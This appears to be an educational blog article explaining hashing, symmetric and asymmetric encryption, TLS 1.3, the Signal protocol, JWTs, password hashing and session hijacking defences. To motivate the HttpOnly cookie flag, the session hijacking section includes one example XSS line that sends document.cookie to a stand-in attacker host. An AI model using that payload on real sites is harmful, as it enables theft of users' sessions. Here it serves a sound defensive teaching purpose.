Modern Cryptography and Web Security: What's Actually Happening Under the Hood
Most security tutorials tell you "use bcrypt" and "always use HTTPS." This article goes deeper — explaining the mathematical properties these systems rely on, why specific attacks work, and why the defenses are designed the way they are.
1. Hashing: One-Way Functions and Why Reversal Is Hard
A cryptographic hash function maps arbitrary-length input to a fixed-length output. The critical property isn't just that it's "one-way" — it's that inversion is computationally infeasible given current and foreseeable hardware.
SHA-256, for example, involves 64 rounds of bitwise operations (rotations, XORs, additions mod 2³²) on the input data. Each round feeds into the next. There's no algebraic inverse — reversing it would require brute-forcing approximately 2²⁵⁶ possibilities, which exceeds the number of atoms in the observable universe.
SHA-256("password") → 5e884898da28...
SHA-256("Password") → e7cf3ef04... ← completely different output
SHA-256("password ") → 5b722b30... ← single trailing space, totally different
This last property — that a tiny input change cascades into a completely different output — is the Avalanche Effect, and it's not accidental. It's a design goal. It ensures hash outputs reveal nothing about how close two inputs are to each other.
What hashing is actually used for:
- Verifying file integrity (compare the hash of a downloaded file against the publisher's hash)
- Storing passwords (you never store the password, only its hash — more on this below)
- Producing message authentication codes (HMACs)
- Merkle trees in git, blockchains, and certificate transparency logs
What hashing is not: encryption. There is no key, no decryption, no reversal. Calling it "one-way encryption" is a category error that causes real misuse.
2. Encryption: Symmetric vs. Asymmetric
Symmetric Encryption (AES)
AES (Advanced Encryption Standard) is a substitution-permutation network operating on fixed 128-bit blocks of data. The key (128, 192, or 256 bits) schedules into a series of round keys, which are applied through repeated rounds of four operations: byte substitution, row shifting, column mixing, and key addition.
The same key encrypts and decrypts. This creates the fundamental operational constraint: both parties must already share a secret before they can communicate securely. If that key is ever intercepted during transmission, every message encrypted with it is compromised.
AES is fast — hardware-accelerated on modern CPUs via AES-NI instructions — which makes it the right choice for bulk data encryption. The problem it doesn't solve is key distribution.
Asymmetric Encryption (RSA / ECC)
Asymmetric cryptography sidesteps the key distribution problem by exploiting mathematical operations that are easy in one direction and computationally infeasible in reverse.
RSA relies on integer factorization: multiplying two large primes is trivial; factoring the product back into its primes is not. The public key is derived from the product; the private key contains the original primes. Encrypting with the public key produces ciphertext that only the private key can reverse.
ECC (Elliptic Curve Cryptography) relies on the elliptic curve discrete logarithm problem. Given a point Q = k * G on an elliptic curve (where G is a known generator point), finding k is computationally infeasible. ECC achieves equivalent security to RSA with much smaller key sizes — a 256-bit ECC key is roughly equivalent to a 3072-bit RSA key — which matters for performance on constrained devices.
The practical tradeoff:
| Symmetric (AES) | Asymmetric (RSA/ECC) | |
|---|---|---|
| Key management | Shared secret required in advance | Public key freely distributable |
| Speed | Very fast (hardware-accelerated) | Orders of magnitude slower |
| Use case | Bulk data encryption | Key exchange, signatures |
| Key sizes | 128–256 bit | 2048–4096 bit (RSA), 256–521 bit (ECC) |
Neither is "better" — they solve different problems. The real world uses both together.
3. Hybrid Encryption: How TLS Actually Works
The TLS handshake is the canonical example of combining asymmetric and symmetric cryptography to get the benefits of both.
Here's what happens when your browser connects to https://example.com:
1. ClientHello — your browser sends the TLS version it supports, a random nonce, and a list of supported cipher suites (e.g., TLS_AES_256_GCM_SHA384).
2. ServerHello + Certificate — the server responds with its chosen cipher suite and its X.509 certificate. The certificate contains the server's public key, signed by a Certificate Authority (CA) your browser already trusts.
3. Key Exchange (Diffie-Hellman Ephemeral) — both sides independently compute a shared secret using ephemeral DH parameters. Neither side transmits the shared secret directly — they each contribute a value, and the math produces the same result on both ends. An eavesdropper observing the exchange cannot compute the shared secret without solving the discrete logarithm problem.
4. Symmetric session begins — the shared secret is used to derive session keys. All application data is now encrypted with AES-GCM (authenticated encryption — more on that below).
The critical word above is ephemeral. TLS 1.3 mandates ephemeral key exchange, which enables Forward Secrecy: even if the server's long-term private key is later compromised, recorded past sessions cannot be decrypted because the ephemeral session keys were never stored and are now gone.
TLS 1.2 allowed static RSA key exchange — no forward secrecy. This is why TLS 1.2 without DHE/ECDHE cipher suites is considered weak, and why TLS 1.3 deprecated those modes entirely.
Authenticated Encryption (AEAD)
AES-GCM, the mode used in TLS 1.3, is Authenticated Encryption with Associated Data. It simultaneously provides:
- Confidentiality — the data is encrypted
- Integrity — a GCM authentication tag detects any tampering with the ciphertext
- Authenticity — confirms the ciphertext came from someone with the session key
A system that only encrypts without authenticating is vulnerable to chosen-ciphertext attacks — an attacker can flip bits in the ciphertext and observe how the application responds to learn about the plaintext. AEAD prevents this entirely.
4. Forward Secrecy in Practice: The Signal Protocol
WhatsApp, Signal, and similar apps use the Signal Protocol, which extends forward secrecy beyond the session level to the individual message level via the Double Ratchet Algorithm.
The Double Ratchet maintains two interlocked ratchets:
- Diffie-Hellman Ratchet — each message exchange generates a new DH key pair. When both parties complete a DH exchange with fresh keys, the root key advances ("ratchets forward") and derives a new chain key.
- Symmetric Ratchet — within a DH epoch, each message derives the next message key by running the chain key through a KDF (key derivation function). Message keys are deleted immediately after use.
The consequence: compromising the key material for message N gives you message N — not message N-1 (forward secrecy) and not message N+1 (break-in recovery, also called "future secrecy" or "post-compromise security"). This is a stronger guarantee than TLS, which protects the session but not individual messages within it.
5. Integrity and Authentication: Digital Signatures and JWTs
How Digital Signatures Work
A digital signature is produced by hashing a message and then encrypting the hash with the private key. The recipient decrypts the hash with the public key and compares it to a locally computed hash of the received message.
If the hashes match: the message hasn't been altered (integrity) and only the private key holder could have produced the signature (authenticity).
This is the inverse of encryption: encrypt with private, decrypt with public. This asymmetry is what enables signatures — anyone can verify, only the key holder can sign.
JWTs: What They Guarantee and What They Don't
A JWT consists of three Base64URL-encoded parts: header.payload.signature.
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjEyM30.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
The signature (HMAC-SHA256 or RS256) proves the payload hasn't been tampered with and was issued by someone with the signing key. It does not provide confidentiality — the payload is only Base64URL-encoded, which is trivially reversible. Anyone who intercepts a JWT can read its claims.
This matters in practice: don't put sensitive data (PII, authorization details that reveal system internals) in a JWT payload unless the entire channel is encrypted (TLS) or you're using JWE (JSON Web Encryption), which adds actual encryption on top.
HMAC-SHA256 (HS256) uses a single shared secret — both issuer and verifier must have it. Leaking the secret lets anyone forge tokens.
RS256 uses RSA keypairs — the server signs with its private key, and any service can verify with the public key without being able to forge tokens. This is the correct choice for multi-service architectures.
6. Password Storage: Why Salting Isn't Enough on Its Own
The Rainbow Table Problem
Cryptographic hash functions are deterministic: SHA-256("password") always produces the same hash. An attacker who steals a database of hashed passwords can precompute a massive lookup table of hash → plaintext pairs and invert hashes instantly. These are rainbow tables — time-memory tradeoffs that make cracking unsalted hashes trivially fast for common passwords.
Salting
A salt is a unique, cryptographically random value generated per user and stored alongside the hash:
stored = hash(password || salt)
Because each user has a unique salt, the attacker can't use a single precomputed table across all users — they'd need to regenerate it for every unique salt. This defeats rainbow tables, but not brute-force if the hash function is fast.
The Real Problem: Hash Speed
SHA-256 is designed to be fast — a modern GPU can compute billions of SHA-256 hashes per second. Salting defeats precomputation, but an attacker who has your database can still brute-force individual passwords at enormous speed.
The correct answer for passwords is a deliberately slow KDF (key derivation function):
- bcrypt — configurable cost factor; each increment doubles the computation time. Standard recommendation is cost 12 (≈250ms per hash on modern hardware).
- Argon2id — the winner of the Password Hashing Competition (2015). Configurable time, memory, and parallelism. Memory-hardness means GPU/ASIC attacks are much less effective because you can't cheaply parallelize it.
- scrypt — memory-hard, predates Argon2. Still reasonable but Argon2id is preferred for new systems.
// Correct
$hash = password_hash($password, PASSWORD_ARGON2ID, [
'memory_cost' => 65536, // 64MB
'time_cost' => 4,
'threads' => 2,
]);
// Wrong — fast, GPU-parallelizable, unsuitable for passwords
$hash = hash('sha256', $password . $salt);
The password_hash() function in PHP handles salt generation, algorithm selection, and encodes all parameters into the output string — you don't manage salts manually.
7. Session Hijacking: Attack Surface and Mitigations
An authenticated session is typically represented by a session ID stored in a cookie. Stealing that ID is sufficient to impersonate the user — no password required, no MFA bypass needed.
Attack Vectors
XSS (Cross-Site Scripting) injects JavaScript into a page that runs in the victim's browser origin. If a session cookie lacks the HttpOnly flag, document.cookie exposes it:
new Image().src = "https://attacker.com/steal?c=" + document.cookie;
The HttpOnly flag makes the cookie inaccessible to JavaScript entirely. It doesn't prevent the cookie from being sent with HTTP requests (that's what it needs to do), it just removes JavaScript read access. XSS can still be dangerous without cookie theft, but this removes the most common session hijacking vector.
Session Sniffing captures unencrypted HTTP traffic and reads the session ID in plaintext. The Secure cookie flag instructs the browser to only send the cookie over HTTPS connections, closing this vector entirely. On any modern application there is no excuse for not setting this.
Session Fixation exploits the server accepting a session ID supplied by the attacker. The attacker tricks the victim into authenticating with a known session ID (e.g., via a crafted URL), then uses that ID to access the authenticated session. The fix is architectural: always issue a fresh session ID upon successful authentication, regardless of whether one already exists.
Defense Layers
| Cookie Flag / Practice | Attack Mitigated | Mechanism |
|---|---|---|
HttpOnly |
XSS-based cookie theft | Removes JavaScript access to the cookie |
Secure |
Session sniffing | Restricts transmission to HTTPS only |
SameSite=Strict |
CSRF | Prevents cookie from being sent on cross-origin requests |
| Regenerate session ID on login | Session fixation | Pre-auth session ID becomes invalid post-auth |
| Short session timeouts | Stolen token reuse | Limits the window an intercepted token is valid |
| Cryptographically random session IDs | Brute-force / prediction | 128+ bits of entropy makes enumeration infeasible |
These are not alternatives — they're independent layers. XSS doesn't bypass Secure. Session fixation isn't stopped by HttpOnly. Each flag addresses a different attack path; you need all of them.
8. The Security Stack in Perspective
Application Layer → JWT auth, session management, input validation
Transport Layer → TLS 1.3 (forward secrecy, AEAD encryption)
Cryptographic Layer → AES-256-GCM (data), Argon2id (passwords), ECDSA (signatures)
Each layer assumes the one below it. TLS protects JWTs in transit, but a misconfigured JWT (algorithm confusion, alg: none) breaks auth regardless. Argon2id protects passwords at rest, but a plaintext logging bug exposes them regardless. HttpOnly protects session cookies from XSS, but an unsanitized SQL query leaks the whole session table regardless.
Security is about systematically closing every path — not picking the strongest algorithm and calling it done.
What's Coming Next
- X.509 certificates and the Certificate Authority trust model — what actually happens when a CA is compromised
- OAuth2 and OIDC — how delegated authorization works and where implementations go wrong
- Practical examples: implementing JWT auth correctly in PHP, and building an HTTPS-only session handler
Top comments (0)